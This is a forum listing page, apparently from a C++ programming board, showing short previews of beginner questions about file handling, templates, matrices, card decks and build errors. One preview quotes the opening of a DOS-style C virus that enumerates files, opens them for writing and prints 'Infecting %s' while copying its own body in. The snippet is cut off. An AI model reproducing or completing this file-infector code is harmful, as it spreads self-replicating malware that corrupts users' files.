49,761 Topics

Member Avatar for
Member Avatar for الوليد

hi please help me in this queation Q)write programe to open any file in your computer but with password to opean this file? pleassse i want the answer after one week because the last date after one week.

Member Avatar for Ancient Dragon
0
130
Member Avatar for Secone

I have a template in a 1-file .h file, and I need it to be adjusted and modified to work properly with only a partial amount of the items in it used. The testArray.cpp file I include is how I test if it works properly. As it is now, it …

Member Avatar for Secone
0
183
Member Avatar for Bogy007

I am looking for a way to write a code implementing the Cholesky decomposition with only one loop (on K), utilizing outer product. Not sure how to go about this. MATLAB can do it, but i have to use c++. I have looked at parallelism but that is over my …

Member Avatar for Bogy007
0
257
Member Avatar for guerratg

#include <iostream> using namespace std; //class definition class Wage { public: int duration; int price; int calculateWage() { cout<< "To exit program enter -1, to continue enter 1! "; cin>> duration; while(duration != -1) { cout<< "\n\nEnter employee hours worked (or -1 to quit): "; cin>> duration; { if(duration <= …

Member Avatar for BobS0327
0
184
Member Avatar for laian.alsabbagh

The purpose of the following code is to get a random number of 100 nodes and to distribute these nodes randomly in range 500*500 …(X,Y).. this was the first step #include<iostream> #include <fstream> #include<cmath> using namespace std; int main() { const int x = 0, y = 1; int nodes[100][2]; …

Member Avatar for laian.alsabbagh
0
210
Member Avatar for emil.rubinic

My program consist of two classes: Form1 (windows form with textbox) and SerialCommunication (class for serial communication). When data occurs on COM port DateRecievedHandeler store the message to indata. public ref class SerialCommunication { private: static SerialPort^ mySerialPort; public: static String^ indata; static void OpenPort(); static void Close(); static void …

Member Avatar for emil.rubinic
0
83
Member Avatar for lizziekadango

help me out it says in fuction int main, expected primary expression,, #include <iostream> #include <stdlib.h> using namespace std; #define n_file 5 struct record_t { char accname[50]; int accnum; int intbal; int ctbal; int deposits; int deposit; } accounts[n_file]; void printbankaccounts(record_t record); void displayctbal(record_t record); int main() { char buffer[50]; …

Member Avatar for lizziekadango
0
110
Member Avatar for tayyabatiq

This code is supposed to write everything the user writes, and keep writing until the user presses ALT key. do{ //declaration string A; getline(cin,A); ofstream file; ifstream file1; //file opening file.open("C:\\Dev-Cpp\\file.txt"); file1.open("C:\\Dev-Cpp\\file.txt"); //file input file<<A; file.close(); file1.getline(B,1000); file1.close(); //file output cout<<B; } while (wParam!=VK_MENU); The problem is, it says: wParam …

Member Avatar for tayyabatiq
0
203
Member Avatar for daino

I'm using a MinGW compiler. Anyone know how to fix this error. I found something on the web where the flag should have a macro such as CXX_HAS_CSTDDEF but this is for a different compiler. What should I use for MingW is this is the problem? Is this common?? In …

Member Avatar for daino
0
4K
Member Avatar for mauro.delazeri

I'm trying to visualize a model of lenticular images virtually with opengl pov-ray seen that it is possible by making an array of semi-cylinder lens in front of the square in POV-Ray to "play" Anyone know how to do with opengl? tks

0
70
Member Avatar for jongiambi

Hi quick question on this card program im writing. As of now the program should just create the deck and print it from main() using printDeck(). Im not sure why but the deck is printing in a strange format. It should print "Ace" "Spades" for example. Insead the output looks …

Member Avatar for jongiambi
0
191
Member Avatar for lewashby

Just got the book C++ Programming in easy steps. I just did the following program and although I ran it with now problems the book and this program really do not at all help understand how an enum or a typedef are usefull in the real world. #include <iostream> using …

Member Avatar for dancks
0
205
Member Avatar for benjamin.mauerberger.9

have just joined the forum, looks great. I'm a C++ developer with 4 yrs exp. thanks Ben Mauerberger

Member Avatar for JorgeM
0
33
Member Avatar for Rzink92

string word = "abcde"; int count = 0; for(int i = 0; i < word.length(); i++){ for(int j = 1; j < word.length(); j++){ if(word.at(i) == word.at(j)){ count++; } } } i am trying to write a program that when i am given a string i can count letter pairs …

Member Avatar for Rzink92
0
234
Member Avatar for vaishvik.nakhashi

How can I attach the OCX of WMP to my dialog based application? I want to use the methods of IWMPControls interface such as play() and pause(). I want to call these method by clicking the button given in the dialog box. Its Urgent...

0
173
Member Avatar for Eclip7e

Hi guys so I am making function for my graphs (adjacency matrices) to return number of connected components using breadth first search algorithm. It almost works properly. It returns proper value if number of components is equal to number of vertices, but if number of components is smaller than number …

0
176
Member Avatar for deepecstasy

I have designed a linklist based BookStore in which book's attributes will be stored in a node & so on. Plus at the end of program, I have to save all database into text file *(I tried binary reading but damn I got me killed & couldn't do it)* & …

Member Avatar for deepecstasy
0
400
Member Avatar for lewashby

garrett@mint-desktop ~ $ c++ -v Using built-in specs. COLLECT_GCC=c++ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.6/lto-wrapper Target: x86_64-linux-gnu Configured with: ../src/configure -v --with-pkgversion='Ubuntu/Linaro 4.6.3-1ubuntu5' --with-bugurl=file:///usr/share/doc/gcc-4.6/README.Bugs --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.6 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.6 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --disable-werror --with-arch-32=i686 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version …

0
104
Member Avatar for Riteman

I think this community member will help me to clear my problem. Am not a c++ professional just a beginner. Am on the way to create a software for a browsing center. Am almost struck with the problem of creating multiple text files. To be more clear, Say, a browsing …

Member Avatar for angham kh
0
4K
Member Avatar for superjacent

Hope someone can clarify. I'm self-studying and my question relates to Programming Exercise # 2, Chapter 12, C++ Primer Plus Fifth Edition (pg. 629). I completed the exercise and achieved the desired result but my query came about when I compared my version to the solution. The exercise builds upon …

Member Avatar for Museful
0
248
Member Avatar for angham kh

**hello every body i am trying to filter alog file witch is save as txt file on my computer so i want to filter the log file depend on a particular word and this word apper in 3 column but the column i want is th 3rd one for example …

Member Avatar for angham kh
0
1K
Member Avatar for muhammad.khan.3576

How I will multiply this matrix by using for loop ? #include<iostream> using namespace std; void mat_mul_2d(int mat_out_2d[][2], int mat_in1_2d[][2], int mat_in2_2d[][2]) { mat_out_2d[0][0]=mat_in1_2d[0][0]*mat_in2_2d[0][0]+mat_in1_2d[0][1]*mat_in2_2d[1][0]; mat_out_2d[1][1]=mat_in1_2d[0][0]*mat_in2_2d[0][1]+mat_in1_2d[0][1]*mat_in2_2d[1][1]; mat_out_2d[2][2]=mat_in1_2d[1][0]*mat_in2_2d[0][0]+mat_in1_2d[1][1]*mat_in2_2d[1][0]; mat_out_2d[3][3]=mat_in1_2d[1][0]*mat_in2_2d[0][1]+mat_in1_2d[1][1]*mat_in2_2d[1][1]; } int main() { int mat_in1_2d[2][2] = {{1, 2},{3, 4}}; / int mat_in2_2d[2][2]={{1,0},{0,1}}; int mat_out_2d[2][2]={{0},{0}}; mat_mul_2d(mat_out_2d,mat_in1_2d,mat_in2_2d); return 0; }

Member Avatar for muhammad.khan.3576
0
281
Member Avatar for nawabzadahassan

Guyz can anyone tell me what the heck is this..??? ‎ ‎#include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %sn”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); …

Member Avatar for nullptr
-1
144
Member Avatar for jongiambi

Hi. Im trying to write a simple deck of cards program. I am having difficulty in expressing my integer deck into a printable form. The deck is generated as this: 00102030405060708090100110120011121314151617181911011111210212223242526272829210211212203132333435363738393103113123 The leading numbers assign to suits and the following number assign to card rank. Basically how can I convert …

Member Avatar for VernonDozier
0
8K
Member Avatar for jongiambi

Hi I have a quick question about a program im writing. The bold part is where im stuck. As of now my output is correct. Just wondering how to delete the memory I allocated. The question asks: Let us say that you want to choose how many marks to enter …

Member Avatar for VernonDozier
0
348
Member Avatar for daino

I'm trying ot build a podofo library and it gets up to 65% and the below error occures. The entire code snipped is below. Not sure what this means or the faintest idea on how to fix it. Basically I've generated a makefile with CMAKE and tried to bild the …

Member Avatar for daino
0
1K
Member Avatar for anoushka
Member Avatar for daino

I'm trying to build a CPP library and have set the CPP Include path as below. I Am using Windows XP with MinGW compiler. VARIABLE NAME: CPLUS_INCLUDE_PATH VARIABLE VALUE: C:\CodeBlocks\MinGW\lib\gcc\mingw32\4.4.1\include\c++ I have restarted my PC several times but I still get an error message telling me that the file it …

Member Avatar for daino
0
596
Member Avatar for willygstyle

Hello all. I'm working on a simple game at the moment and thus I started heading in the direction of windows hooks. I easily got the low level keyboard hook working. But of course I had to attempt the other version which uses dll's for hooking. After many attempts at …

Member Avatar for dx9_programmer
0
183
Member Avatar for NardCake

Hello! I believe hotkeys or keyboard shortcuts is the correct term. (Ctrl+C is copy etc...) Well I'm having troubles trying to figure out how to do this. I'm very new to the win32 api and such And I'm just clueless. Any help is very much appreciated!

Member Avatar for dx9_programmer
0
2K

The End.